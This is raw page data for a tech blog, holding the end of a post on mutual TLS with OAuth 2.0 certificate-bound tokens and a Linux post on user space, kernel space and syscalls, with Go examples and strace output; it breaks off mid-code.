assuming the origination is from the authentic client. This opens the possibility for the attackers to inject requests pretending to be from a legitimate client.",[30625,30628,30631,30634],{"start":11954,"end":4073,"type":489,"data":30626},{"link_type":491,"url":30627,"target":493},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Frequest-smuggling",{"start":6780,"end":18520,"type":489,"data":30629},{"link_type":491,"url":30630,"target":493},"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FBrute-force_attack",{"start":10343,"end":11737,"type":489,"data":30632},{"link_type":491,"url":30633,"target":493},"https:\u002F\u002Fwww.ncsc.gov.uk\u002Fguidance\u002Fphishing",{"start":5103,"end":9156,"type":489,"data":30635},{"link_type":491,"url":30636,"target":493},"https:\u002F\u002Fowasp.org\u002Fwww-community\u002Fattacks\u002FCredential_stuffing",{"type":25,"text":30638,"spans":30639,"direction":445},"In case of a misconfigured server where the server is not configured properly to require a client certificate, the client will not be asked for a certificate and the request will be served silently unauthenticated.",[],{"type":25,"text":30641,"spans":30642,"direction":445},"IETF RFC describes OAuth 2.0 client authentication and certificate-bound access using mutual TLS. Mutual-TLS certificate-bound access tokens ensure that only the party in possession of the private key corresponding to the certificate can utilize the token to access the associated resources. Binding an access token to the client's certificate prevents the use of stolen access tokens or replay of access tokens by unauthorized parties.",[30643],{"start":398,"end":1633,"type":489,"data":30644},{"link_type":491,"url":30645,"target":493},"https:\u002F\u002Fdatatracker.ietf.org\u002Fdoc\u002Fhtml\u002Frfc8705",{"type":25,"text":30647,"spans":30648,"direction":445},"The specification describes two distinct complementary mechanisms:",[],{"type":1151,"text":30650,"spans":30651,"direction":445},"Mutual-TLS client authentication - To utilize TLS for OAuth 2.0 client authentication, the TLS connection between the client and the authorization server MUST have been established or re-established with mutual-TLS X.509 certificate authentication. The client must include \"client_id\" parameter while requesting the authorization server. This enables the server to identify the client independent of the content of the certificate.",[30652],{"start":398,"end":5489,"type":593},{"type":1151,"text":30654,"spans":30655,"direction":445},"Mutual-TLS certificate-bound access tokens - Mutual TLS client authentication requires you to create a connection using mTLS, to access the token from the authorization server. This only ensures that the access to the auth token is verified using mTLS. Which is, just mTLS and has the same issue that we talked earlier about not having the auth for each request. The second mechanism to use mTLS with certificate bound access token is what we can do to protect from the attacks. The mTLS client authentication can be used together with certificate bound access token to complement it.",[30656],{"start":398,"end":1486,"type":593},"rich_text$451a08de-6178-4031-9271-ff4269ab0fa3",{"variation":437,"version":438,"items":30659,"primary":30660,"id":30677,"slice_type":468,"slice_label":5},[],{"body":30661},[30662,30665,30668,30672],{"type":988,"text":30663,"spans":30664,"direction":445},"Mutual-TLS certificate-bound access tokens",[],{"type":25,"text":30666,"spans":30667,"direction":445},"In this section we will look deeper into how mTLS certificate-bound access token works. When a client requests a token from the authorization server using mutual TLS, the server can bind the issued access token to the client certificate. The certificate binding is possible either by embedding the certificate hash as a part of the issued token or through token introspection. The access token can be used at the application layer passed as a HTTP header by the client. This makes sure that each request is protected.",[],{"type":25,"text":30669,"spans":30670,"direction":445},"JWT Certificate Thumbprint Confirmation Method",[30671],{"start":398,"end":9202,"type":593},{"type":25,"text":30673,"spans":30674,"direction":445},"If the access token is represented as a JSON Web Token, this method can be used to associate the token with the certificate. The JWT would include base64url encoded SHA-256 hash of the X.509 Certificate. The JWT contains cnf confirmation method claim. It has x5t#S256 as a confirmation method member that contains the value of the base64url-encoded SHA-256 hash of the X.509 Certificate. The base64url-encoded value must omit all trailing pad '=' characters and must not include any line breaks, whitespace, or other additional characters. An example token would look like this:",[30675,30676],{"start":2832,"end":7594,"type":765},{"start":7596,"end":18932,"type":765},"rich_text$6a15b9e2-8703-4cf0-931b-b65cdeaa6a78",{"variation":437,"version":438,"items":30679,"primary":30680,"id":30685,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":30681},[30682],{"type":27922,"text":30683,"spans":30684},"{\n\n  \"iss\": \"https:\u002F\u002Fserver.example.com\",\n\n  \"sub\": \"ty.webb@example.com\",\n\n  \"exp\": 1661605509,\n\n  \"nbf\": 1661609109,\n\n  \"cnf\":{\n\n    \"x5t#S256\": \"bwcK0esc3ACC3DB2Y5_lESsXE8o9ltc05O89jdN-dg2\"\n\n  }\n\n}",[],"code_block$f66da6fd-e752-4c05-b48d-ec3d67f05cd6",{"variation":437,"version":438,"items":30687,"primary":30688,"id":30707,"slice_type":468,"slice_label":5},[],{"body":30689},[30690,30697,30700,30704],{"type":25,"text":30691,"spans":30692},"JWT token example take from rfc8705",[30693,30694],{"start":398,"end":628,"type":765},{"start":9704,"end":628,"type":489,"data":30695},{"link_type":491,"url":30696,"target":493},"https:\u002F\u002Fwww.rfc-editor.org\u002Frfc\u002Frfc8705.html#name-example-jwt-claims-set-wit",{"type":25,"text":30698,"spans":30699},"Let us also look at some sample code on how you can generate the token using Golang.",[],{"type":25,"text":30701,"spans":30702},"Note: The code below is just for guidance and is not a working example",[30703],{"start":398,"end":847,"type":765},{"type":3373,"text":30705,"spans":30706},"Parse the certificate provided by the server:",[],"rich_text$082d5957-a9cf-484b-a92e-6aaa96732576",{"variation":437,"version":438,"items":30709,"primary":30710,"id":30715,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":30711},[30712],{"type":27922,"text":30713,"spans":30714},"import (\n\n    \"crypto\u002Fsha256\"\n\n    \"crypto\u002Fx509\"\n\n  )\n  \u002F\u002F You can read the certificate from a file and decode it\n  var cert = \"\u002Fcert.crt\"\n  r, _ := ioutil.ReadFile(cert)\n  block, _ := pem.Decode(r)\n\n  parsedCert, err := x509.ParseCertificate(block.Bytes)",[],"code_block$f6f847bb-c86a-4090-980f-2a04ec4dc58f",{"variation":437,"version":438,"items":30717,"primary":30718,"id":30728,"slice_type":468,"slice_label":5},[],{"body":30719},[30720,30724],{"type":25,"text":30721,"spans":30722},"Note: I skipped error handling above, as it is a sample code. Do not forget to handle error in your production code",[30723],{"start":398,"end":9222,"type":765},{"type":3373,"text":30725,"spans":30726},"Generate the x5t#S256 as base64url encoded SHA-256 of the certificate",[30727],{"start":1951,"end":703,"type":765},"rich_text$5a917a04-5b71-47b6-98d6-f5cd9a6cd06a",{"variation":437,"version":438,"items":30730,"primary":30731,"id":30736,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":30732},[30733],{"type":27922,"text":30734,"spans":30735},"newSha := sha256.New()\n\n  newSha.Write(parsedCert.Raw)\n\n  encoded := hex.EncodeToString(newSha.Sum(nil))\n\n  data, err := hex.DecodeString(encoded)\n\n  encodedx5t := base64.URLEncoding.EncodeToString(data)\n\n  encodedx5t = strings.TrimRight(encodedx5t, \"=\")\n\n  fmt.Println(encodedx5t)",[],"code_block$a093bf78-9c06-4514-abf5-81c7fea25b8b",{"variation":437,"version":438,"items":30738,"primary":30739,"id":30744,"slice_type":468,"slice_label":5},[],{"body":30740},[30741],{"type":3373,"text":30742,"spans":30743},"Generate and sign the token",[],"rich_text$f1cd45f4-0f66-4213-ae43-e211d13450bb",{"variation":437,"version":438,"items":30746,"primary":30747,"id":30752,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":30748},[30749],{"type":27922,"text":30750,"spans":30751},"token, _ := jwt.NewBuilder().\n\n  Issuer(\"issuer\").\n\n  IssuedAt(time.Now()).\n\n  Expiration(time.Now().Add(900 * time.Second)).\n\n  NotBefore(time.Now().Add(800 * time.Second))\n\n  Subject(\"subject\").\n\n  Audience([]string{\"audience\"}).\n\n  Claim(\"cnf\", \"{\\\"x5t#S256\\\":\\\"\u003Cencodedx5t>\\\"}\").\n\n  Build()\n\n  signed, _ := jwt.Sign(token, jwt.WithKey(jwa.RS256, \"\u003CprivateKey>\"))",[],"code_block$63513d4c-d562-44d9-b11d-5c39e78ac0fa",{"variation":437,"version":438,"items":30754,"primary":30755,"id":30767,"slice_type":468,"slice_label":5},[],{"body":30756},[30757,30761,30764],{"type":25,"text":30758,"spans":30759},"Confirmation Method for Token Introspection",[30760],{"start":398,"end":5136,"type":593},{"type":25,"text":30762,"spans":30763},"OAuth 2.0 token Introspection method enables the protected resource to query and authorization server about the state of the access token. It also helps provide metadata about the token which includes the base64url encoded SHA-256 hash of the certificate. The encoded hash is provided as a response to the protected resources in the same format as the JWT thumbprint uses. The encoded certificate is present in the cnf claim in the x5t#S256 member structure. The protected resource will be able to compare the client certificate used for mTLS to the certificate hash in the response and rejects the request if they do not match.",[],{"type":25,"text":30765,"spans":30766},"A response from the authorization server when requesting the state of the access token would look like this:",[],"rich_text$0c3cdc8f-ac35-4b2f-896e-abae74093758",{"variation":437,"version":438,"items":30769,"primary":30770,"id":30775,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":30771},[30772],{"type":27922,"text":30773,"spans":30774},"HTTP\u002F1.1 200 OK\n\nContent-Type: application\u002Fjson\n\n{\n\n  \"active\": true,\n\n  \"iss\": \"https:\u002F\u002Fserver.example.com\",\n\n  \"sub\": \"ty.webb@example.com\",\n\n  \"exp\": 1661605509,\n\n  \"nbf\": 1661609109,\n\n  \"cnf\":{\n\n    \"x5t#S256\": \"bwcK0esc3ACC3DB2Y5_lESsXE8o9ltc05O89jdN-dg2\"\n\n  }\n\n}",[],"code_block$ae31b0b4-ad52-48a7-ae86-b34b35d1cf18",{"variation":437,"version":438,"items":30777,"primary":30778,"id":30787,"slice_type":468,"slice_label":5},[],{"body":30779},[30780,30782],{"type":988,"text":28602,"spans":30781,"direction":445},[],{"type":25,"text":30783,"spans":30784,"direction":445},"mTLS is a transport layer protocol that authenticates both client and server. OAuth 2.0 is an authorization framework to delegate access to resources. OAuth 2.0 Client Authentication and certificate bound access is a rigorous way to secure your mTLS connection. mTLS is a transport layer protocol and does not protect the application layer. OAuth 2.0 Client Authentication and certificate bound access solves the problem by making sure that only the party in possession of the private key corresponding to the certificate can utilize the token to access the associated resources. Either by using JWT certificate thumbprint or by using confirmation method for token introspection you can validate if the cnf confirmation method claim matches with the client certificate used for mTLS to secure the application layer.",[30785],{"start":1561,"end":30786,"type":765},706,"rich_text$b3227369-b6fe-4b85-989c-2a9cccc473f0",{"id":30789,"uid":30790,"type":25949,"data":30791},"alz1DREAACkAUWei","linux-fundamentals-user-kernel-space",{"title":30792,"excerpt":30793,"card_image":30794,"published_date":2629,"reading_time":2375,"tag":25960,"dek":30799,"featured_image":30800,"about_form3":30801,"client_about_heading":5,"client_about_body":30802,"author_name":26951,"author_title":26952,"author_photo":30803,"author_bio":30806,"author_linkedin":30811,"slices":30813,"meta_title":30792,"meta_description":30793},"Linux fundamentals: user space, kernel space, and the syscalls API surface","The Linux kernel has always held a mystical place in my mind. It's the inner sanctum of computer magic which makes programs work. Somehow. People with arcane knowledge of the Linux kernel often refer to \"user space\" programs, but I've never really been sure what they mean by that. Or of what actually makes up the \"kernel\", for that matter.",{"dimensions":30795,"alt":30792,"copyright":5,"url":30796,"id":30797,"edit":30798},{"width":412,"height":412},"\u002F_prismic-media\u002F7b625192d18bbaed-p4n2IoIk7760M6kZ_linux-fundamentals-user-kernel-.png","p4n2IoIk7760M6kZ",{"x":398,"y":398,"zoom":399,"background":400},"The Linux kernel has always held a mystical place in my mind. It's the inner sanctum of computer magic which makes programs work. Somehow.People with arcane knowledge of the Linux kernel often refer to \"user space\" programs, but I've never really been sure what they mean by that. Or of what actually makes up the \"kernel\", for that matter.Ultimately, when I write a program which interacts with the file system, or communicates over a network, or somehow interacts with the outside world, I've never really known how these operations are actually executed by the computer\u002Foperating system\u002Fprogramming language. Magic!",{},[],[],{"dimensions":30804,"alt":26951,"copyright":5,"url":26956,"id":26957,"edit":30805},{"width":5080,"height":26955},{"x":398,"y":398,"zoom":399,"background":650},[30807],{"type":25,"text":26961,"spans":30808},[30809],{"start":19275,"end":18958,"type":489,"data":30810},{"link_type":491,"url":26965,"target":493},{"link_type":491,"key":30812,"url":26968,"target":493},"096fba24-3809-479b-9514-85081a18a4b1",[30814,30843,30854,30877,30885,30909,30917,30938,30955,30966,31014,31040,31048,31067,31075,31094,31108,31116,31125,31133,31142],{"variation":437,"version":438,"items":30815,"primary":30816,"id":30842,"slice_type":468,"slice_label":5},[],{"body":30817},[30818,30821,30824,30827,30830,30833,30836,30839],{"type":988,"text":30819,"spans":30820,"direction":445},"TL;DR",[],{"type":25,"text":30822,"spans":30823,"direction":445},"If, like me, you also feel like a level one Linux user in dire need of experience points, then fear not! This blog post will try to give you a high-level summary of the following arcane topics:",[],{"type":1151,"text":30825,"spans":30826,"direction":445},"The Linux software stack in general.",[],{"type":1151,"text":30828,"spans":30829,"direction":445},"User space programs.",[],{"type":1151,"text":30831,"spans":30832,"direction":445},"Kernel space programs.",[],{"type":1151,"text":30834,"spans":30835,"direction":445},"The boundary between user\u002Fkernel space.",[],{"type":1151,"text":30837,"spans":30838,"direction":445},"The Linux kernel system calls.",[],{"type":25,"text":30840,"spans":30841,"direction":445},"Having introduced you to these concepts, I'll then try to illustrate how a program makes use of the services provided by the operating system. I'll demonstrate a couple of small applications, written in Go, which consume operating system services directly. This will hopefully take some of the mystery out of computers in the future. If you reach the end of this blog post, you gain one hundred Linux experience points!",[],"rich_text$f84efede-a272-4782-9ec6-7d687fa81eaa",{"variation":437,"version":438,"items":30844,"primary":30845,"id":30853,"slice_type":468,"slice_label":5},[],{"body":30846},[30847,30850],{"type":988,"text":30848,"spans":30849,"direction":445},"Linux software stack",[],{"type":25,"text":30851,"spans":30852,"direction":445},"There is a stack of services that underpin user-run processes in Linux. User-run processes (normally referred to as user space processes, see the user space section below) rely on services provided by the kernel. The kernel is a special part of the operating system, which handles a variety of low-level operations in a privileged running mode (see the section on kernel space below).",[],"rich_text$aed48ae4-5fb5-49a6-a5ec-48da7da411c1",{"variation":437,"version":527,"items":30855,"primary":30856,"id":30876,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":30857,"body":30858,"cta_label":5,"cta_link":30865,"aside_type":533,"aside_image":30866,"aside_video":30871,"aside_video_poster":30872,"aside_video_reduced_motion":30873,"aside_video_url":5,"aside_embed":30874,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":30875,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[30859],{"type":25,"text":30860,"spans":30861,"direction":445},"This is illustrated in the diagram below, which I borrowed from linux-kernel-labs.github.io:",[30862],{"start":4083,"end":1408,"type":489,"data":30863},{"link_type":491,"url":30864,"target":493},"https:\u002F\u002Flinux-kernel-labs.github.io\u002Frefs\u002Fheads\u002Fmaster\u002Flectures\u002Fintro.html#typical-operating-system-architecture",{"link_type":434},{"dimensions":30867,"alt":5,"copyright":5,"url":30868,"id":30869,"edit":30870},{"width":412,"height":29284},"\u002F_prismic-media\u002F28d8c3d877427259-uUHHJ-oXwObqhOzK_f906c0ca-3c5d-4323-a319-031fd3e.png","uUHHJ-oXwObqhOzK",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$64b0845e-ce7d-4347-879c-ae81eb087aca",{"variation":437,"version":438,"items":30878,"primary":30879,"id":30884,"slice_type":468,"slice_label":5},[],{"body":30880},[30881],{"type":25,"text":30882,"spans":30883,"direction":445},"This diagram shows how user space processes rely on the kernel for access to hardware, and how they access it via a system call (or syscall) interface. However, the kernel itself has more to it than just a syscall API for low-level operations. As well as facilitating this interface with user-run processes, the kernel contains a process scheduler, networking stack, virtual file system, and device drivers for hardware support, to name just a few. ",[],"rich_text$12705b9a-06c6-4f08-81ff-34b0d10f45f1",{"variation":437,"version":527,"items":30886,"primary":30887,"id":30908,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":30888,"body":30889,"cta_label":5,"cta_link":30896,"aside_type":533,"aside_image":30897,"aside_video":30903,"aside_video_poster":30904,"aside_video_reduced_motion":30905,"aside_video_url":5,"aside_embed":30906,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":30907,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[30890],{"type":25,"text":30891,"spans":30892,"direction":445},"The diagram above is a bit of an over-simplification, and the following diagram (again borrowed from linux-kernel-labs.github.io) shows a more complete picture:",[30893],{"start":1481,"end":19923,"type":489,"data":30894},{"link_type":491,"url":30895,"target":493},"https:\u002F\u002Flinux-kernel-labs.github.io\u002Frefs\u002Fheads\u002Fmaster\u002Flectures\u002Fintro.html#linux-kernel-architecture",{"link_type":434},{"dimensions":30898,"alt":5,"copyright":5,"url":30900,"id":30901,"edit":30902},{"width":28293,"height":30899},658,"\u002F_prismic-media\u002F84b3855d8d1600d6-vG4zt3IzQulTL_yN_004aaf98-6c65-4833-9694-a1ea143.png","vG4zt3IzQulTL_yN",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$2f903f06-6ea8-4d4e-8dc1-620400dc4e5b",{"variation":437,"version":438,"items":30910,"primary":30911,"id":30916,"slice_type":468,"slice_label":5},[],{"body":30912},[30913],{"type":25,"text":30914,"spans":30915},"The remainder of this blog post will cover user and kernel space in more detail, discuss the syscall interface, and provide practical code examples of syscalls in practice.",[],"rich_text$bd6416f2-9cd0-488c-9b69-6da9e69157ad",{"variation":437,"version":438,"items":30918,"primary":30919,"id":30937,"slice_type":468,"slice_label":5},[],{"body":30920},[30921,30924,30934],{"type":988,"text":30922,"spans":30923,"direction":445},"User space",[],{"type":25,"text":30925,"spans":30926,"direction":445},"A user space process is executed by a user in the operating system, rather than being part of the operating system itself. It might also be executed by an init system (e.g. systemd), but it isn't part of the kernel. User space is the area of memory that non-kernel applications run in. User space processes literally run in the user space part of memory. A user space process runs in user mode, which is the non-privileged execution mode that the process' instructions are executed with. User mode processes have to switch to kernel mode when they want to consume services provided by the kernel (e.g. disk I\u002FO, network access). Switching to kernel mode involves triggering a syscall to be executed by the kernel. This mechanism is described in bit more detail below.",[30927,30930],{"start":9294,"end":4142,"type":489,"data":30928},{"link_type":491,"url":30929,"target":493},"http:\u002F\u002Fwww.linfo.org\u002Fuser_space.html",{"start":30931,"end":1457,"type":489,"data":30932},384,{"link_type":491,"url":30933,"target":493},"http:\u002F\u002Fwww.linfo.org\u002Fuser_mode.html",{"type":25,"text":30935,"spans":30936,"direction":445},"User mode execution of user-run processes ensures that a user space process cannot access or modify memory managed by the kernel, and can't interfere with another process' execution. This is an important security control in ensuring that user-run processes cannot corrupt or interfere with the operating system.",[],"rich_text$0ce31eda-0e8e-431e-93cd-f3afac02b543",{"variation":437,"version":438,"items":30939,"primary":30940,"id":30954,"slice_type":468,"slice_label":5},[],{"body":30941},[30942,30945],{"type":988,"text":30943,"spans":30944,"direction":445},"Kernel space",[],{"type":25,"text":30946,"spans":30947,"direction":445},"Kernel space is the area of system memory reserved for the kernel. It is where the kernel runs and executes kernel mode instructions.Kernel mode is the CPU execution mode of the kernel, which runs in a privileged, root-access mode. When a user space application requires the services provided by the kernel, it will signal the kernel to execute a syscall, and switch to kernel mode for the duration of the syscall execution.",[30948,30951],{"start":398,"end":2707,"type":489,"data":30949},{"link_type":491,"url":30950,"target":493},"http:\u002F\u002Fwww.linfo.org\u002Fkernel_space.html",{"start":783,"end":4106,"type":489,"data":30952},{"link_type":491,"url":30953,"target":493},"http:\u002F\u002Fwww.linfo.org\u002Fkernel_mode.html","rich_text$5d6c8991-934d-4cd1-a042-b2d5d25e2fd7",{"variation":437,"version":438,"items":30956,"primary":30957,"id":30965,"slice_type":468,"slice_label":5},[],{"body":30958},[30959,30962],{"type":988,"text":30960,"spans":30961,"direction":445},"Boundary between user space and kernel space",[],{"type":25,"text":30963,"spans":30964,"direction":445},"Special CPU instructions are used by user space processes to invoke syscalls on most modern CPU architectures. The user space process executes the CPU instruction when it wants to execute a syscall, which switches the process' execution from user mode to kernel mode. The syscall executes in kernel mode, before returning execution to the user space process.",[],"rich_text$c4844fc3-6666-413b-91fd-138062a68a62",{"variation":437,"version":438,"items":30967,"primary":30968,"id":31013,"slice_type":468,"slice_label":5},[],{"body":30969},[30970,30973,30979,30993,31006,31010],{"type":988,"text":30971,"spans":30972,"direction":445},"Syscalls",[],{"type":25,"text":30974,"spans":30975,"direction":445},"Syscalls are functions in the kernel that provide services to a user space application. They are the API that the kernel exposes to user space programs, which allow a program to utilise the functionality the kernel offers. Examples include starting new processes, disk I\u002FO, and networking.",[30976],{"start":398,"end":1633,"type":489,"data":30977},{"link_type":491,"url":30978,"target":493},"http:\u002F\u002Fwww.linfo.org\u002Fsystem_call.html",{"type":25,"text":30980,"spans":30981,"direction":445},"A full list of syscalls can be found by running man syscalls on a Linux system. All syscalls are accompanied by a detailed man page, all of which can be found in section 2. For example, the man page for the chdir syscall can be read by running man 2 chdir. The man pages for syscalls are a really useful primary source of documentation, so if you're not familiar with man try running man man and start exploring the syscall documentation.",[30982,30983,30984,30985,30986,30989,30991],{"start":9251,"end":685,"type":765},{"start":7016,"end":19847,"type":765},{"start":10671,"end":19850,"type":765},{"start":13578,"end":10873,"type":765},{"start":30987,"end":30988,"type":765},260,264,{"start":23555,"end":30990,"type":765},372,{"start":30931,"end":30992,"type":765},391,{"type":25,"text":30994,"spans":30995,"direction":445},"Many syscalls are accompanied by small Linux programs which wrap them. For example, the chdir syscall for changing working directory can be invoked directly by running chdir in a shell. Other syscalls are designed to be used in concert with each other. There are a variety of syscalls for socket-based networking (e.g. socket, bind, listen, and accept), which combined offer a suite of socket-based functions for user space programs to utilise.",[30996,30997,30998,30999,31001,31004],{"start":3290,"end":1409,"type":765},{"start":3044,"end":24936,"type":765},{"start":4515,"end":8792,"type":765},{"start":19207,"end":31000,"type":765},331,{"start":31002,"end":31003,"type":765},333,339,{"start":31005,"end":17798,"type":765},345,{"type":25,"text":31007,"spans":31008,"direction":445},"As mentioned above, syscalls are invoked via an interrupt or instruction executed by the user space process and the kernel mode execution. This system is normally wrapped by a library (e.g. glibc), which offers a slightly higher-level abstraction for programs in the form of functions that can be called. Furthermore, most programming languages come with much higher-level abstractions that allow you to deal with logical operations, rather than physical syscalls.",[31009],{"start":7016,"end":3300,"type":765},{"type":25,"text":31011,"spans":31012,"direction":445},"Nonetheless, breaking down some simple operations in their syscall components can prove interesting. The remainder of this blog post will illustrate a couple of simple examples using Golang, and demonstrate how the syscalls themselves can be observed by a user.",[],"rich_text$bd613bb2-ea3f-4c3d-a7d3-11a2c0cafb30",{"variation":437,"version":438,"items":31015,"primary":31016,"id":31039,"slice_type":468,"slice_label":5},[],{"body":31017},[31018,31021,31024,31028,31032,31036],{"type":988,"text":31019,"spans":31020,"direction":445},"Example 1: using the file system",[],{"type":25,"text":31022,"spans":31023,"direction":445},"Writing to a file is a simple operation in most programming languages, and it's also a simple operation using syscalls. Three syscalls are involved in writing to a file:",[],{"type":3373,"text":31025,"spans":31026,"direction":445},"open, which opens a file descriptor for use by the process.",[31027],{"start":398,"end":4603,"type":765},{"type":3373,"text":31029,"spans":31030,"direction":445},"write, which allows the process to write bytes to the file descriptor.",[31031],{"start":398,"end":643,"type":765},{"type":3373,"text":31033,"spans":31034,"direction":445},"close, which closes the file descriptor.",[31035],{"start":398,"end":643,"type":765},{"type":25,"text":31037,"spans":31038,"direction":445},"The use of these syscalls can be illustrated in the following Golang example:",[],"rich_text$7fb74aab-8140-4b21-8b10-6c890932004f",{"variation":437,"version":438,"items":31041,"primary":31042,"id":31047,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31043},[31044],{"type":27922,"text":31045,"spans":31046},"package main\n\nimport (\n\t\"os\"\n\n\t\"golang.org\u002Fx\u002Fsys\u002Funix\"\n)\n\nfunc main() {\n\tfd, err := unix.Open(\"test.txt\", os.O_CREATE|os.O_WRONLY, 0600)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t_, err = unix.Write(fd, []byte(\"hello world\\n\"))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\terr = unix.Close(fd)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}",[],"code_block$93fb8119-9daf-4dbf-b16a-f96dd432b753",{"variation":437,"version":438,"items":31049,"primary":31050,"id":31066,"slice_type":468,"slice_label":5},[],{"body":31051},[31052,31057,31062],{"type":25,"text":31053,"spans":31054},"This program opens a file called test.txt, writes the string hello world to it, and then closes the file descriptor. Normally these operations are abstracted by a higher-level API, but the use of these syscalls directly illustrates how writing to a file is a achieved at the user space\u002Fkernel space boundary.",[31055,31056],{"start":9077,"end":1977,"type":765},{"start":3407,"end":1797,"type":765},{"type":25,"text":31058,"spans":31059},"The use of the kernel by this program can be further illustrated using a diagnostic tool called strace. Syscalls can be observed directly using strace, either for a process you want to execute, or an already running process. It allows the syscalls used by a program to be observed directly, which can be very useful for understanding what operations the program is performing that rely on system resources.",[31060,31061],{"start":5328,"end":4073,"type":765},{"start":4106,"end":9206,"type":765},{"type":25,"text":31063,"spans":31064},"If you compiled the example above and ran it with strace, you would see something like this:",[31065],{"start":2868,"end":4889,"type":765},"rich_text$6dde89b4-de1c-4b30-98c1-a4c5ee6ffdf7",{"variation":437,"version":438,"items":31068,"primary":31069,"id":31074,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31070},[31071],{"type":27922,"text":31072,"spans":31073},"$ go build -o file-syscall-example main.go\n$ strace file-syscall-example\n...\nopenat(AT_FDCWD, \"test.txt\", O_WRONLY|O_CREAT, 0600) = 3\nwrite(3, \"hello world\\n\", 12)           = 12\nclose(3)                                = 0",[],"code_block$744e2c92-3664-45c8-b066-4155857bceb2",{"variation":437,"version":438,"items":31076,"primary":31077,"id":31093,"slice_type":468,"slice_label":5},[],{"body":31078},[31079,31090],{"type":25,"text":31080,"spans":31081},"In the strace output, the numbers following the equals sign indicate the returned values from the syscall itself. In this example openat() = 3 tells us that the opened file descriptor can be identified by 3, write() = 12 tells us that 12 bytes were written, and close() = 0 tells us that the operation was successful.",[31082,31083,31084,31086,31087,31088],{"start":1130,"end":1951,"type":765},{"start":10956,"end":13494,"type":765},{"start":15097,"end":31085,"type":765},206,{"start":9292,"end":2832,"type":765},{"start":27582,"end":13077,"type":765},{"start":31089,"end":3049,"type":765},262,{"type":25,"text":31091,"spans":31092},"This example demonstrates the use of the syscalls for file access from an external point of view, and the same technique could be used on any program to gain an insight into the way it interacts with the kernel.",[],"rich_text$e1a288a2-f748-460b-862b-7291e81b5410",{"variation":437,"version":438,"items":31095,"primary":31096,"id":31107,"slice_type":468,"slice_label":5},[],{"body":31097},[31098,31101,31104],{"type":988,"text":31099,"spans":31100,"direction":445},"Example 2: network communication",[],{"type":25,"text":31102,"spans":31103,"direction":445},"The Linux kernel has a number of syscalls for socket-based communication, facilitating unix sockets, TCP sockets, UDP sockets, and a number of more exotic network protocols. These syscalls are all based around the use of a file descriptor for a socket, and (in the case of TCP) a file descriptor for a connection. These file descriptors can be used to read bytes into a buffer (or send data), and can also be closed when the socket is no longer needed.",[],{"type":25,"text":31105,"spans":31106,"direction":445},"The Go example below illustrates all of these steps:",[],"rich_text$0774a4fd-7de8-4e06-bdd9-4f06b4fa9ead",{"variation":437,"version":438,"items":31109,"primary":31110,"id":31115,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31111},[31112],{"type":27922,"text":31113,"spans":31114},"package main\n\nimport (\n\t\"fmt\"\n\n\t\"golang.org\u002Fx\u002Fsys\u002Funix\"\n)\n\nfunc main() {\n\t\u002F\u002F Create a socket.\n\tfd, err := unix.Socket(unix.AF_INET, unix.SOCK_STREAM, 0)\n\tif err != nil {\n\t\tfmt.Println(\"error calling SOCKET\")\n\t\tpanic(err)\n\t}\n\n\t\u002F\u002F Bind the socket to an address.\n\terr = unix.Bind(fd, &unix.SockaddrInet4{\n\t\tPort: 8080,\n\t\tAddr: [4]byte{127, 0, 0, 1},\n\t})\n\tif err != nil {\n\t\tfmt.Println(\"error calling BIND\")\n\t\tpanic(err)\n\t}\n\n\t\u002F\u002F Start listening to the socket.\n\terr = unix.Listen(fd, 0)\n\tif err != nil {\n\t\tfmt.Println(\"error calling LISTEN\")\n\t\tpanic(err)\n\t}\n\n\t\u002F\u002F Accept TCP connections on the socket.\n\tconnectionFd, _, err := unix.Accept(fd)\n\tif err != nil {\n\t\tfmt.Println(\"error calling ACCEPT\")\n\t\tpanic(err)\n\t}\n\n\tbytes := make([]byte, 8)\n\toobBytes := make([]byte, 8)\n\t\u002F\u002F Read data from the connection.\n\t_, _, _, _, err = unix.Recvmsg(connectionFd, bytes, oobBytes, 0)\n\tif err != nil {\n\t\tfmt.Println(\"error calling READ\")\n\t\tpanic(err)\n\t}\n\n\tfmt.Printf(\"received bytes:\\n%v\\n\", string(bytes))\n\n\t\u002F\u002F Close the connection.\n\terr = unix.Close(connectionFd)\n\tif err != nil {\n\t\tfmt.Println(\"error calling CLOSE for the connection file descriptor\")\n\t\tpanic(err)\n\t}\n\n\t\u002F\u002F Close the socket.\n\terr = unix.Close(fd)\n\tif err != nil {\n\t\tfmt.Println(\"error calling CLOSE for the socket file descriptor\")\n\t\tpanic(err)\n\t}\n}",[],"code_block$fe5fd0f3-1985-4b7e-bffe-1351d7d48470",{"variation":437,"version":438,"items":31117,"primary":31118,"id":31124,"slice_type":468,"slice_label":5},[],{"body":31119},[31120],{"type":25,"text":31121,"spans":31122},"Once again, the use of syscalls by this program can be observed with strace:",[31123],{"start":3397,"end":2651,"type":765},"rich_text$1beccadf-6792-418f-94ee-f0f77a57d2a7",{"variation":437,"version":438,"items":31126,"primary":31127,"id":31132,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31128},[31129],{"type":27922,"text":31130,"spans":31131},"$ go build -o socket-syscalls main.go\n$ strace socket-syscalls > syscalls.log &\n$ netcat localhost 8080\nhello world!\n$ cat syscalls.log\n...\nsocket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 